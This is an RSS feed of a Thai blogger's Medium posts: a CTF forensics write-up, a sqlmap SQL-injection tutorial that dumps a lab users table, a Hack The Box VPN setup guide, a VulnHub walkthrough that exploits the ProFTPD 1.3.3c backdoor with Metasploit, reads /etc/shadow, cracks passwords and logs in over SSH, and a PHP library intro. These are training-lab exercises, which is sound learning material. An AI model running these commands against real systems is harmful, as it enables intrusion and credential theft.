<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by bypazs__ on Medium]]></title>
        <description><![CDATA[Stories by bypazs__ on Medium]]></description>
        <link>https://medium.com/@bypazs?source=rss-d86a095bda61------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*k4_dBU8xQ3qSt9fQOlfaww.png</url>
            <title>Stories by bypazs__ on Medium</title>
            <link>https://medium.com/@bypazs?source=rss-d86a095bda61------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 19:03:39 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@bypazs/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Thailand Cyber Top Talent 2023 Write-up — BYPAZS]]></title>
            <link>https://bypazs.medium.com/thailand-cyber-top-talent-2023-write-up-bypazs-7243f0481dc0?source=rss-d86a095bda61------2</link>
            <guid isPermaLink="false">https://medium.com/p/7243f0481dc0</guid>
            <dc:creator><![CDATA[bypazs__]]></dc:creator>
            <pubDate>Mon, 18 Sep 2023 14:12:25 GMT</pubDate>
            <atom:updated>2023-09-18T14:19:43.223Z</atom:updated>
            <content:encoded><![CDATA[<h3>Thailand Cyber Top Talent 2023 Write-up — BYPAZS</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*edKOSyRwvb20B-_j" /></figure><h3>The Secret Message</h3><p>First, we found that they uploaded the file via the HTTP protocol.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pyO-Evipp_uyWH1_-y2OGQ.png" /></figure><p>So, we need to export objects from the HTTP protocol in the PCAP file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x1wAHZu9aXfUJoKQ4SHtXA.png" /></figure><p>When we opened PHP files, we found some issues. Maybe PHP is not the real format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w2Mm_ShzB3V5oHChKoUZmQ.png" /></figure><p>We used a hex editor to erase some noise on the top. <em>PK is a signature used for zip files.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EsIuLsGQUeIy0IS4SR3zqg.png" /></figure><p>and bottom also.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R91YrdcFTfCkp6bnqn9Gfw.png" /></figure><p>When we finish, it should look like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZpEfo_Jn9q4Rqx2qMHhL8Q.png" /></figure><p>After that, we saved the file in the zip format and extracted it four times. <em>Note that you can also use CyberChef.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4nwSKC6_mwhs5BIoD4Td6Q.png" /></figure><p>Then we found some messages that looked like they were base64 encoded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yZzajOMMzDzV7IouTU4D3A.png" /></figure><p>Bingo! After we sorted and decoded, we got the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AuopTTpbAq1SjQirEY7NCA.png" /></figure><h4>Reference</h4><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F-M6lsZgsqqw%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D-M6lsZgsqqw&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F-M6lsZgsqqw%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/138a05da513c3f6b4c1567567b8ba8c1/href">https://medium.com/media/138a05da513c3f6b4c1567567b8ba8c1/href</a></iframe><p><a href="https://linuxconfig.org/how-to-install-and-use-hex-editor-on-kali-linux">https://linuxconfig.org/how-to-install-and-use-hex-editor-on-kali-linux</a></p><p><a href="https://www.cyberciti.biz/faq/how-to-reverse-string-in-unix-shell-script/">https://www.cyberciti.biz/faq/how-to-reverse-string-in-unix-shell-script</a></p><p><a href="https://en.wikipedia.org/wiki/List_of_file_signatures">https://en.wikipedia.org/wiki/List_of_file_signatures</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7243f0481dc0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Injection with Sqlmap]]></title>
            <link>https://bypazs.medium.com/how-to-injection-with-sqlmap-f0654e24d26e?source=rss-d86a095bda61------2</link>
            <guid isPermaLink="false">https://medium.com/p/f0654e24d26e</guid>
            <category><![CDATA[sqlmap]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <dc:creator><![CDATA[bypazs__]]></dc:creator>
            <pubDate>Fri, 06 Mar 2020 04:43:09 GMT</pubDate>
            <atom:updated>2020-03-06T04:43:09.888Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Spoil Alert!!</blockquote><p><a href="https://pentesterlab.com/exercises/web_for_pentester/course">Web for Pentester</a></p><p>ในแล็บนี้เราจะมาลองใช้เครื่องมือในการทำ SQL Injection เป็นเครื่องมือที่ถูกติดตั้งมาพร้อมกับตัว Kali Linux</p><blockquote>คำเตือน!!:การเจาะระบบโดยไม่ได้รับอนุญาตถือเป็นการกระทำผิดกฎหมาย</blockquote><p>STEP1: ให้เราไปโหลดตัวแล็บที่เป็นไฟล์ iso และติดตั้งให้เรียบร้อย (ปล.หากผู้อ่านยังไม่เคยทำสามารถ Comment เพื่อให้ผมเขียนวิธีการติดตั้งได้ครับ)</p><p>STEP2: หลังจากติดตั้งเสร็จให้เราเช็ค IP เครื่อง VM ที่เป็นแล็บที่เราจะทำ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pYmtXQdWI5fysqD09f3xBQ.png" /></figure><p>STEP3: ให้เราเปิดเว็บโดยใช้ IP ที่เราได้มา เราจะเห็นว่ามีหลายแล็บให้เราเล่น ในส่วนนี้เราจะโฟกัสไปที่ SQL Injection กัน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6PkhJsRZPjIuv5ZFDAQDOQ.png" /></figure><p>STEP4: ให้เราเลือกสักแล็บของ SQL Injection ที่เราสนใจ โดยผมจะเลือก Example 9 ในการทำแล็บนี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bGjWAn71RaZhfUd1mYIzXg.png" /></figure><p>STEP5: ให้เราเปิด Terminal ขึ้นมาและลองพิมคำสั่ง sqlmap -h เพื่อดูวิธีการใช้งานเบื้องต้น</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*OQ10ZshaGFV8mXnHy2JaAA.png" /></figure><p>STEP6: เราจะใช้คำสั่ง sqlmap -u “URL” -dbs เพื่อดู Database ในฐานข้อมูลว่ามีอะไรบ้าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wgRZoXJXzT998mm6JHynQA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vYW-ygKL3nkhHIVLNgeRUw.png" /></figure><blockquote>เราจะพบว่า Database นี้เป็น MySQL และมีทั้งหมด 2 ตัวได้แก่ exercises และ information_schema ให้เราเลือกตัวที่เราสนใจ ในที่นี้เราจะเลือก exercises</blockquote><p>STEP7: ต่อไปเราจะดู Table โดยใช้คำสั่ง sqlmap -u “URL” -dbms=mysql -D exercises — tables</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OFBeRkTCB04cYBgv0e6hyw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YADOEx4j8GUPgN62zbQfCA.png" /></figure><blockquote>เราจะได้ Table ชื่อว่า users</blockquote><p>STEP8: เราสามารถดู Column โดยใช้คำสั่ง sqlmap -u “URL” -dbms=mysql -D exercises -T users — column</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EsLEimmySKAe12Bu2vh-yg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PxhkoNAAdI4LmKT82J7X3g.png" /></figure><blockquote>เราจะได้รายชื่อของ Column ทั้งหมดออกมา</blockquote><p>STEP9: เมื่อเรามั่นใจว่า Table นี้เก็บข้อมูลสำคัญเช่น username, password ที่เราต้องการ เราจะทำการ dump ข้อมูลทั้งหมดโดยใช้คำสั่ง sqlmap -u “URL” -dbms=mysql -D exercises -T users — dump</p><blockquote>หากใครทำแล็บเดียวกับผมจะใช้เวลานานหน่อยเนื่องจากเป็นการ Injection แบบ Time-bases</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MWcJLDnrsJD7Um4xMU2WMw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LizdL7GLth0TKcCGlDQFtA.png" /></figure><p>สุดท้ายเราจะได้ข้อมูลของ user และ password หากทางเว็บไซต์ไม่ได้ทำการ hash เราสามารถเอาไป Login ได้ทันที หากทำการ hash ไว้เราจะต้องใช้เครื่องมืออื่นในการถอดรหัสร่วมด้วย</p><p>สำหรับวิธีการในการป้องกันสามารถเข้าไปอ่านได้ในเว็บไซต์ของทาง <a href="https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A1-Injection">https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A1-Injection</a></p><p>Ref.</p><ul><li><a href="https://pentesterlab.com/exercises/web_for_pentester/course">Web for Pentester</a></li><li><a href="https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/">Download Kali Linux Virtual Images | Offensive Security</a></li><li><a href="https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A1-Injection">A1:2017-Injection</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f0654e24d26e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[Install OPENVPN]Path to Hack The Box [dot] EU]]></title>
            <link>https://bypazs.medium.com/install-openvpn-path-to-hack-the-box-dot-eu-d6cced62aa18?source=rss-d86a095bda61------2</link>
            <guid isPermaLink="false">https://medium.com/p/d6cced62aa18</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[openvpn]]></category>
            <category><![CDATA[kali-linux]]></category>
            <dc:creator><![CDATA[bypazs__]]></dc:creator>
            <pubDate>Fri, 31 Jan 2020 12:22:44 GMT</pubDate>
            <atom:updated>2021-01-24T13:51:37.007Z</atom:updated>
            <content:encoded><![CDATA[<h3>[TH/EN][Install OPENVPN]Path to Hack The Box [dot] EU</h3><blockquote>No walkthroughs!!!</blockquote><ol><li>เราจะสมัครสมาชิกได้ จะต้องหาคีย์เองครับ จากหน้านี้</li></ol><p>First, we need to sign up you need to find the key on this page :)</p><p><a href="https://www.hackthebox.eu/invite">https://www.hackthebox.eu/invite</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*qn0s5a5qOmOhJcjwFiGvIQ.png" /><figcaption>คำใบ้คือ Inspect, Js, Console, Decode</figcaption></figure><p>2. หลังจากเราได้คีย์และสมัครเรียบร้อยแล้ว ต่อมาเราจะต้องโหลดไฟล์ OpenVPN เพื่อใช้ VPN ไปใช้งาน Lab ครับ <a href="https://www.hackthebox.eu/home/htb/access">https://www.hackthebox.eu/home/htb/access</a></p><p>After we got the key and sign up, go to download the file VPN to play the lab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kJa5GkpS8wjkWor5URr0vA.png" /><figcaption>Click &gt;&gt;here&lt;&lt;</figcaption></figure><p>3. ติดตั้งโปรแกรม OpenVPN ลงในเครื่องของเรา ในที่นี้จะเป็น Kali Linux ให้เราเลือกที่ Debian และติดตั้งคำสั่งดังต่อไปนี้โดยใช้สิทธิ์ root</p><p>And then, install OpenVPN in your host indeed I am installing on Kali Linux with root permissions to install.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f7v-OoDrM_lKEIVjFLNDcg.png" /><figcaption>sudo su -&gt; kali</figcaption></figure><pre>apt update &amp;&amp; apt -y install ca-certificates wget net-tools gnupg</pre><pre>wget -qO - https://as-repository.openvpn.net/as-repo-public.gpg | apt-key add -</pre><pre>echo &quot;deb http://as-repository.openvpn.net/as/debian buster main&quot;&gt;/etc/apt/sources.list.d/openvpn-as-repo.list</pre><pre>apt update &amp;&amp; apt -y install openvpn-as</pre><p>4. หลังจากติดตั้งเสร็จ รันคำสั่ง openvpn [name of file].ovpn เพื่อ VPN ไปอยู่ในวงเดียวกับ Lab</p><p>After successfully, type openvpn command and the username from HTB like an “openvpn [name of file].ovpn” to join the local server HTB lab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*p5lj6SZ3ZyFqKm55gqQuow.png" /></figure><p>5. เช็ค IP ด้วยคำสั่ง ip addr ถ้าอยู่ในวง 10.10.14.XXX แสดงว่าใช้ได้แล้ว ลุย!!!</p><p>For now, you can check your IP with “ip addr” or “ifconfig” happy hacking! :)</p><p>Ref.</p><ul><li><a href="https://www.hackthebox.eu/">Hacking Training For The Best</a></li><li><a href="https://openvpn.net/download-open-vpn/">Download The World&#39;s Best VPN | OpenVPN</a></li><li><a href="https://www.kali.org/downloads/">Get Kali | Kali Linux</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d6cced62aa18" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Play with Basic Pentesting: 1]]></title>
            <link>https://bypazs.medium.com/play-with-basic-pentesting-1-33b00cceffe9?source=rss-d86a095bda61------2</link>
            <guid isPermaLink="false">https://medium.com/p/33b00cceffe9</guid>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[proftpd-133c-backdoor]]></category>
            <category><![CDATA[osvdb-69562]]></category>
            <dc:creator><![CDATA[bypazs__]]></dc:creator>
            <pubDate>Sat, 13 Oct 2018 07:20:13 GMT</pubDate>
            <atom:updated>2018-10-13T07:24:05.477Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Spoil Alert!!</blockquote><ul><li><strong>Name</strong>: Basic Pentesting: 1</li><li><strong>Date release</strong>: 8 Dec 2017</li><li><strong>Author</strong>: <a href="https://www.vulnhub.com/author/josiah-pierce,569/">Josiah Pierce</a></li></ul><p>หลังจากที่เราติดตั้งตัว Lab ลงบน VM แล้วให้เราหา IP ของเครื่อง สำหรับผมเข้าผ่าน guest แล้วใช้คำสั่ง</p><pre>ifconfig</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ni57uDAUlpDe8yWO001J3A.png" /></figure><p>หรือใครจะใช้ netdiscover ในการ Scan หา IP ก็ได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ALAxp7UefXSXXGblXyvExw.png" /></figure><p>ต่อมาเราจะใช้ Tool ที่ชื่อว่า nmap ในการ Scan หา Ports และ Service ที่เปิดอยู่บนเครื่องเป้าหมาย ใช้คำสั่ง</p><pre>nmap -Pn -sS -sV 192.168.238.139</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qVqunuJ0QBlBgxnYYyT1Rw.png" /></figure><p>จะเห็นได้ว่ามีเปิดอยู่ทั้งหมด 3 Ports จากนี้หมดหน้าที่ nmap แล้วครับ ต่อไปเราจะใช้ metasploit framework เพื่อใช้ในการ exploit ช่องโหว่กัน ใช้คำสั่ง</p><pre>msfconsole</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P7IYcUFwOwU4sBbaB0THfQ.png" /></figure><p>จากนั้นเราจะใช้คำสั่ง searchในการหาว่ามีช่องโหว่ Service ที่เราสนใจ ในที่นี้เพื่อให้แคบลงผมจะเอาชื่อของ Version ไปค้นหาครับ ผมสนใจ Port 21 ใช้คำสั่ง</p><pre>search ProFTPD 1.3.3c</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vrXVwfOj_rc_wybE4tDFyg.png" /></figure><blockquote>Name คือ ชื่อของ Modules</blockquote><blockquote>Disclosure Date คือ วันที่ประกาศช่องโหว่ออกมาสู่สาธารณชน</blockquote><blockquote>Rank คือ ระดับความน่าสนใจ กระทบต่อ Service ที่รันอยู่หรือไม่</blockquote><blockquote>Description คือ รายละเอียด</blockquote><p>ในตอนนี้สายตาของผมไปสะดุดคำว่า Backdoor แน่นอนผมรู้ว่ามันต้องได้สิทธิ์ root แน่ๆ ใครกันที่วาง Backdoor จะไม่ใช้สิทธิ์ root ในการเข้าถึงเครื่องเป้าหมาย แถม Version ก็ตรงกับที่เครื่องเป้าหมายมีอยู่ ใช้คำสั่ง</p><pre>use exploit/unix/ftp/proftpd_133c_backdoor</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8tqmSzZ3-rXuK22bseb70w.png" /></figure><p>จากนั้นดูรายละเอียดการใช้ Modules ตัวนี้ว่าต้องตั้งค่าอะไรบ้าง ใช้คำสั่ง</p><pre>show options</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*to20bM9lI3RnXLBQKuFWdA.png" /></figure><blockquote>Name คือ ชื่อของตัวแปรที่ต้องตั้งค่า</blockquote><blockquote>Current Setting คือ ค่าที่ตั้งค่าอยู่ในปัจจุบัน</blockquote><blockquote>Required คือ จำเป็นต้องใส่หรือไม่</blockquote><blockquote>Description คือ รายละเอียด</blockquote><p>จากภาพเราจำเป็นแค่ต้องตั้งค่า IP ของเครื่องเป้าหมายอย่างเดียว ส่วน Payload ให้โปรแกรมเลือกให้ ส่วนมากมักจะเป็น reverse shellใช้คำสั่ง</p><pre>set rhost 192.168.238.139</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5e8L2VSrpM5jsPOlYHFFfg.png" /></figure><p>จากนั้นให้เราทำการเจาะโดยใช้ช่องโหว่นี้ ใช้คำสั่ง</p><pre>exploit</pre><p>เราจะได้ Shell หรือได้สิทธิ์ root ทันที โดยสามารถตรวจสอบด้วยคำสั่ง whoami</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UgNGYNCP97xdEgCiHWOw0A.png" /></figure><blockquote>Vulnerable to <a href="https://www.rapid7.com/db/modules/exploit/unix/ftp/proftpd_133c_backdoor#">OSVDB-69562</a> ,<a href="http://www.securityfocus.com/bid/45150">BID-45150</a></blockquote><blockquote>Exploit publicly available.</blockquote><blockquote><a href="https://www.rapid7.com/db/modules/exploit/unix/ftp/proftpd_133c_backdoor">https://www.rapid7.com/db/modules/exploit/unix/ftp/proftpd_133c_backdoor</a></blockquote><p>ตอนนี้เราสามารถเข้าถึงข้อมูลทั้งหมดของเครื่องนี้ด้วยสิทธิ์สูงสุด ต่อไปเราจะไปเอา Passwords ในเครื่องนี้มาทำการ Crack ครั้งต่อไปเราจะได้ไม่ต้องมาเริ่มเจาะใหม่ ใช้คำสั่ง</p><pre>cat /etc/shadow</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lFZQD3DSaWY9bmEihSzxaA.png" /></figure><p>จากนั้น Save ลงใน Text file ใช้คำสั่ง</p><pre>nano shadow.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v-h06WTvkZt2oYV3m2TclA.png" /></figure><p>จากนั้นให้เซฟด้วยการกด Ctr + x ตามด้วย Y และ Enter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CeRuU0hdgY3WX4JQXkK5kg.png" /></figure><p>ต่อมาเราจะใช้ john ในการ Crack Passwords กัน ใช้คำสั่ง</p><pre>john --show ./shadow.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WTpffPYo8-Q8SYSVmc5nZg.png" /></figure><blockquote>— show คือ ให้แสดง Password ที่ทำการ Crack</blockquote><p>เราจะได้ Password ที่ทำการ Crack เรียบร้อยแล้ว ผมจะลองใช้ ssh ในการ Remote เข้าไปที่เครื่องเป้าหมายดู ใช้คำสั่ง</p><pre>ssh -l marlinspike 192.168.238.139</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G0z12Yi66n07H8dNU4oSfg.png" /></figure><p>เราสามารถ Remote เข้ามาสำเร็จ ต่อไปเราจะเข้าไปดูใน /var/www/html กันว่ามีอะไรซ่อนอยู่หรือเปล่า ใช้คำสั่ง</p><pre>cd /var/www/html/ และ ls -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*blsLm2BrJZfh7cU9fZ4Gpg.png" /></figure><p>ข้างในมี Folder ซ่อนอยู่ชื่อว่า secret จริงๆก่อนหน้านี้เราจะลองใช้ Tool ที่ใช้ทำ Spidering เช่น <a href="https://github.com/zaproxy/zaproxy/wiki/Downloads">OWASP Zap</a> ,<a href="https://portswigger.net/burp">Burp Suite </a>ก็สามารถหาเจอเช่นกัน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HRVBYjU2jUUexS5iOnDV0A.png" /></figure><p>ข้างในเราจะพบกับ Files Wordpress ต่างๆ แต่ที่เราสนใจจริงๆคือ wp-config.php ให้เราลองอ่านดู ใช้คำสั่ง</p><pre>cat wp-config.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LzLuibsmo-tTZG6mtnevGw.png" /></figure><p>ตอนนี้เราจะได้ Username กับ Password ของ Database ของเครื่องนี้อีกด้วย</p><blockquote>สรุป เราได้ user:pass ที่สามารถ Remote คือ marlinspike:marlinspike และ user:pass ของฐานข้อมูล Wordpress คือ root:arootmysqlpass</blockquote><p><strong>ถ้าหากใครเจอช่องโหว่นอกเหนือจากนี้อย่าลืมมา Comment แลกเปลี่ยนกันนะครับ ไว้คราวหน้าจะมี Lab ไหนมาให้เล่นอีกรอติดตามได้เลยครับ 😆</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=33b00cceffe9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MeekroDB — มารู้จักกับ Library Mysqli กัน]]></title>
            <link>https://bypazs.medium.com/meekrodb-%E0%B8%A1%E0%B8%B2%E0%B8%A3%E0%B8%B9%E0%B9%89%E0%B8%88%E0%B8%B1%E0%B8%81%E0%B8%81%E0%B8%B1%E0%B8%9A-library-mysqli-%E0%B8%81%E0%B8%B1%E0%B8%99-41ad7208d934?source=rss-d86a095bda61------2</link>
            <guid isPermaLink="false">https://medium.com/p/41ad7208d934</guid>
            <category><![CDATA[meekrodb]]></category>
            <category><![CDATA[mysql]]></category>
            <category><![CDATA[php]]></category>
            <dc:creator><![CDATA[bypazs__]]></dc:creator>
            <pubDate>Fri, 25 May 2018 05:25:19 GMT</pubDate>
            <atom:updated>2018-10-10T02:13:39.935Z</atom:updated>
            <content:encoded><![CDATA[<p>วันนี้เรามี Lib ดีๆมาแนะนำครับ ผมได้ทดลองใช้มาบ้างแล้วนิดหน่อย ใช้งานสะดวกไม่ยากจนเกินไปครับ โดยเจ้าของเขาได้เขียน มาเป็น Class ให้เราเรียกใช้กันตามสะดวกเลยครับ หรือใครจะเอาไปแก้ไขให้เหมาะกับงานของเพื่อนๆเองก็ได้ครับ โดยมี Function ให้ใช้งานครบครัน Insert ,Delete ,Update และ อื่นๆอีกพอสมควร ซึ่งผมยังใช้ไม่หมดเลยครับ 555</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*Ep4LlKDkut1Yw-osvd-uBA.png" /></figure><blockquote><em>จะเห็นได้ว่าเราเขียนคำสั่งได้สั้นลงครับ รึเปล่า! 555</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*eYy7x7Wavi787MTi6A5SRA.png" /></figure><blockquote><em>มีคำสั่งให้เลือกใช้มากมาย จะใช้เป็นหมดมั๊ยเนี่ยย~</em></blockquote><p>วันนี้ผมจะมาสอนการใช้งานเบื้องต้นนิดๆหน่อยๆพอหอมปากหอมคอ ว่าเจ้า Lib ตัวนี้ใช้งานอย่างไรนะครับ</p><p>เริ่มต้นให้เราเข้าไป Download จากเว็บไซต์นี้ครับ <a href="http://meekro.com/index.php">http://meekro.com/index.php</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/232/1*D_iI8QwMyPjE-ZhQHxd8HA.png" /></figure><p>หลังจากได้ไฟล์แบบข้างบนให้เรานำไปใส่โฟลเดอร์เดี๋ยวกับเว็บที่เรากำลังพัฒนาอยู่ครับ อย่าง Xampp ก็ไปที่ C:\xampp\htdocs</p><p>จากนั้นให้เราเข้าไปแก้ไขไฟล์ meekrodb.2.3.class.php ในส่วนของ connection กับฐานข้อมูลของเราครับ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/1*3EFNoEfZ8cfCKriSWQasdw.png" /></figure><p>จากนั้นให้เรา include ,require ,require_once ไปในไฟล์ index.php ของเราครับ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/1*SgimCglfBdxlScKq2Cnuag.png" /></figure><p>จากนั้นให้เราไปแก้โค้ดเก่าของเราหรือเขียนขึ้นมาใหม่นะครับ ในตัวอย่างของผมจะเป็นการแก้นะครับ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*lK5Zh1xV7AIhu7Hyu-9eDQ.png" /></figure><blockquote><em>จะเห็นได้ว่าประหยัดไปได้ 1 บรรทัดเลยทีเดียว</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*NtFMLYCEwmDS1cdbpkdCkw.png" /></figure><blockquote><em>อันนี้เป็นการวนรับค่าเป็น Array ไปเก็บในตัวแปร $data แล้วไป echo $data[‘author’] เป็นต้น</em></blockquote><p>ต่อมาเป็นส่วนของ login กันครับว่าจะเป็นยังไง ส่วนตัวคิดว่ายังไม่ Secure เท่าไหร่นะ ถ้าเอาไปใช้งานจริงยังต้องปรับโค้ดอีกนะครับ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*LfDEvnEL1UNVClbn137rmA.png" /></figure><blockquote><em>จะเห็นว่าก็ยังสั้นเหมือนเดิมเลย ส่วนตัวชอบครับแต่ต้องใช้เวลาเรียนรู้คำสั่งสักหน่อยครับ</em></blockquote><blockquote>ขอขอบคุณพี่ <a href="https://www.facebook.com/teerapuch/">Teerapuch</a> ที่แชร์มาให้รู้จักนะครับ</blockquote><blockquote>ref: <a href="http://meekro.com/index.php">http://meekro.com/index.php</a></blockquote><blockquote>ref: <a href="https://github.com/FaaPz/Slim-PDO">https://github.com/FaaPz/Slim-PDO</a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=41ad7208d934" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>